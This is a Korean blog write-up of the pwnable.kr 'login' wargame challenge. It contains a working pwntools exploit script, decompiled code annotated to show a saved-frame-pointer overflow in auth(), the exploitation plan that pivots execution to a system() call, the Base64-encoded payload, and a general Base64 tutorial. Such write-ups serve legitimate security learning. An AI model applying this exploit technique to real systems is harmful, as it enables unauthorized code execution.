from pwn import *
import base64
p = remote("pwnable.kr", 9003)
# p = process("./login")
pay = b'\x84\x92\x04\x08\x61\x61\x61\x61\x3c\xeb\x11\x08'
pay_encoded = base64.b64encode(pay).decode('ascii') # hJIECGFhYWE86xEI
# print(pay_encoded)
p.sendlineafter('Authenticate : ', pay_encoded)
p.interactive()
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [esp+4h] [ebp-3Ch]
int v5; // [esp+18h] [ebp-28h] BYREF
_BYTE v6[30]; // [esp+1Eh] [ebp-22h] BYREF
unsigned int v7; // [esp+3Ch] [ebp-4h]
memset(v6, 0, sizeof(v6));
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
printf("Authenticate : ", v4);
_isoc99_scanf("%30s", v6); // v6에 입력받음
memset(&input, 0, 12);
v5 = 0;
// v6을 base64 decoding한 결과가 v5가 가리키는 chunk에 담기고
// decoded text 길이는 v7에 담긴다
v7 = Base64Decode(v6, &v5);
if ( v7 > 0xC ) // decoded text 길이 제한 12자
{
puts("Wrong Length");
}
else
{
memcpy(&input, v5, v7); // v5 내용 input에 복사
if ( auth(v7) == 1 )
correct();
}
return 0;
}
int __cdecl Base64Decode(int a1, _DWORD *a2)
{
int v2; // eax
int v3; // eax
int v4; // eax
int v5; // eax
int v7; // [esp+1Ch] [ebp-1Ch]
int v8; // [esp+20h] [ebp-18h]
int v9; // [esp+24h] [ebp-14h]
int v10; // [esp+2Ch] [ebp-Ch]
v10 = calcDecodeLength(a1); // decoded text 길이 계산
*a2 = malloc(v10 + 1); // decode 결과 담길 공간
v2 = strlen(a1);
// OpenSSL을 이용한 base64 decoding
v9 = fmemopen(a1, v2, &unk_80DA64A);
v3 = BIO_f_base64();
v8 = BIO_new(v3);
v4 = BIO_new_fp(v9, 0);
v7 = BIO_push(v8, v4);
BIO_set_flags(v7, 256);
v5 = strlen(a1);
*(_BYTE *)(*a2 + BIO_read(v7, *a2, v5)) = 0;
BIO_free_all(v7);
fclose(v9);
return v10;
}
int __cdecl calcDecodeLength(int a1)
{
int v2; // [esp+18h] [ebp-10h]
int v3; // [esp+1Ch] [ebp-Ch]
v2 = strlen(a1);
v3 = 0;
// base64 인코딩 결과 뒤에 ==나 =가 붙을 수 있다
if ( *(_BYTE *)(v2 - 1 + a1) == '=' && *(_BYTE *)(v2 - 2 + a1) == '=' )
{
v3 = 2;
}
else if ( *(_BYTE *)(v2 - 1 + a1) == '=' )
{
v3 = 1;
}
// base64 인코딩 결과 데이터 양 약 33퍼센트 늘어남. 6bit 당 2bit의 overhead 발생하기 때문.
// decoded text 길이는 encoded text 길이에 0.75를 곱한다음 패딩문자 '='의 개수를 빼줘야 한다
return (int)((long double)v2 * 0.75 - (long double)v3);
}
BOOL __cdecl auth(int a1)
{
char v2[8]; // [esp+14h] [ebp-14h] BYREF
const char *v3; // [esp+1Ch] [ebp-Ch]
int v4; // [esp+20h] [ebp-8h] BYREF
memcpy(&v4, &input, a1); // input의 내용을 v4에 복사, BOF!!!
v3 = (const char *)calc_md5(v2, 12); // md값 생성, 근데 user input이랑 상관없는데?
printf("hash : %s\n", v3);
return strcmp("f87cd601aa7fedca99018a8be88eda34", v3) == 0;
}
- Partial RELRO No canary found NX enabled No PIE
- auth() 함수 보면 user input과 상관없이 md5 값 생성하여 key와 strcmp 하고 있다
- user input 동일해도 매 실행시마다 해시값 달라진다
- auth() 함수에서 bof 발생 => memcpy(&v4, &input, a1)에서 v4에 최대 12byte 입력 가능
- v4=[ebp-0x8]이므로 SFP 4byte overwrite 가능하다!
- ASLR에 의해 스택 주소 계속 바뀌므로 고정된 주소(maybe 전역변수?)로 EBP 옮기는 게 좋겠다
- v6(user input)을 base64 decoding한 결과가 v5가 가르키는 chunk/input/v4에 저장된다
- input 첫 4byte에 <correct+37> 주소 넣어두고 main_ebp = &input-4 되도록 SFP 조작하면 될 듯?
- 디코딩 결과가 '\x84\x92\x04\x08'+DUMMY 4bytes+'\x3c\xeb\x11\x08' 되도록 하는 input 구하자
=> 'hJIECGFhYWE86xEI'
(참고)
main 함수 마지막 부분
0x08049402 <+245>: call 0x804929c <auth>
0x08049407 <+250>: cmp eax,0x1
0x0804940a <+253>: jne 0x804941f <main+274> ; 어차피 auth() 실패할 것
~~~
0x0804941f <+274>: mov eax,0x0
0x08049424 <+279>: leave ; mov esp,ebp; pop ebp;
0x08049425 <+280>: ret ; pop eip
correct 함수 system() 호출 부분
0x08049284 <+37>: mov DWORD PTR [esp],0x80da66f
0x0804928b <+44>: call 0x805b2b0 <system>
전역변수 input 주소: 0x0811eb40
1. '\x84\x92\x04\x08\x61\x61\x61\x61\x3c\xeb\x11\x08' base64 인코딩 방법?
1) online base64 encoder 이용
1. perl -e 'print"\x84\x92\x04\x08\x61\x61\x61\x61\x3c\xeb\x11\x08"' > a.txt
2. a.txt를 online base64 encoder에 업로드
3. 결과파일 얻는다 : 'hJIECGFhYWE86xEI'
2) 직접 하기 ㅋㅋ
1. 12 Bytes = 96 Bits = 인코딩 결과 16글자
100001/00 1001/0010 00/000100/ 000010/00 0110/0001 01/100001/ 011000/01 0110/0001 00/111100/ 111010/11 0001/0001 00/001000/
=>
33 / 9 / 8 / 4 / 2 / 6 / 5 / 33 / 24 / 22 / 4 / 60 / 58 / 49 / 4 / 8
=>
'hJIECGFhYWE86xEI'
3) 파이썬 base64 모듈 이용하기
import base64
code = b'\x84\x92\x04\x08\x61\x61\x61\x61\x3c\xeb\x11\x08'
encoded = base64.b64encode(pay).decode('ascii')
2. base64 모듈을 이용한 base64 인코딩 / 디코딩
인코딩: 문자열을 바이트로 - base64 인코딩 - 바이트를 문자열로
import base64
str = '안녕?'
# 한글이 아니라 영어였다면 str.encode('ascii')
bytes = str.encode('UTF-8') # str to bytes
result = base64.b64encode(bytes) # 아스키코드값
result_str = result.decode('ascii') # bytes to str
print(result_str)
# 7JWI64WVPw==
디코딩: 문자열을 바이트로 (생략 가능) - base64 디코딩 - 바이트를 문자열로
import base64
code = '7JWI64WVPw=='
decoded = base64.b64decode(code)
# 한글이 아니라 영어였다면 decoded.decode('ascii')
str = decoded.decode('UTF-8') # bytes to str
print(str)
# 안녕?
3. Base64 인코딩이란?
Binary Data를 6 bit 씩 자른 뒤 6 bit에 해당하는 문자를 아래 Base64 색인표에서 찾아 치환한다
문자열 > ascii binary > 6bit cut > base64_encode
만약 문자열이 3개(6bit)씩 끊어지지 않고 빈자리가 생긴다면
남은 비트에 0을 채우고 padding 문자인 '='가 그 빈자리만큼 들어가게 된다 (00: '=' 1개, 00 00: '=' 2개)
Base64 Encoding을 하게되면 전송해야 될 데이터의 양도 약 33% 정도 늘어난다.
6bit당 2bit의 Overhead가 발생하기 때문이다.
그렇다면 왜 사용하냐?
ASCII로 Encoding하여 전송하게 되면 여러가지 문제가 발생할 수 있다. 대표적인 문제는
- ASCII는 7 bits Encoding인데 나머지 1bit를 처리하는 방식이 시스템 별로 상이하다.
- 일부 제어문자 (e.g. Line ending)의 경우 시스템 별로 다른 코드값을 갖는다.
위와 같은 문제로 ASCII는 시스템간 데이터를 전달하기에 안전하지가 않다.
Base64는 ASCII 중 제어문자와 일부 특수문자를 제외한 64개의 안전한 출력 문자만 사용한다.
(* 안전한 출력 문자는 문자 코드에 영향을 받지 않는 공통 ASCII를 의미한다)
블로그 글 참고
https://effectivesquid.tistory.com/entry/Base64-%EC%9D%B8%EC%BD%94%EB%94%A9%EC%9D%B4%EB%9E%80
'security > 포너블 - pwnable.kr' 카테고리의 다른 글
pwnable.kr - [Rookiss] dragon (0) | 2023.03.03 |
---|---|
pwnable.kr - [Rookiss] alloca (0) | 2023.03.03 |
pwnable.kr - [Rookiss] loveletter (0) | 2023.02.26 |
pwnable.kr - [Rookiss] echo2 (0) | 2023.02.25 |
pwnable.kr - [Rookiss] fix (0) | 2023.02.23 |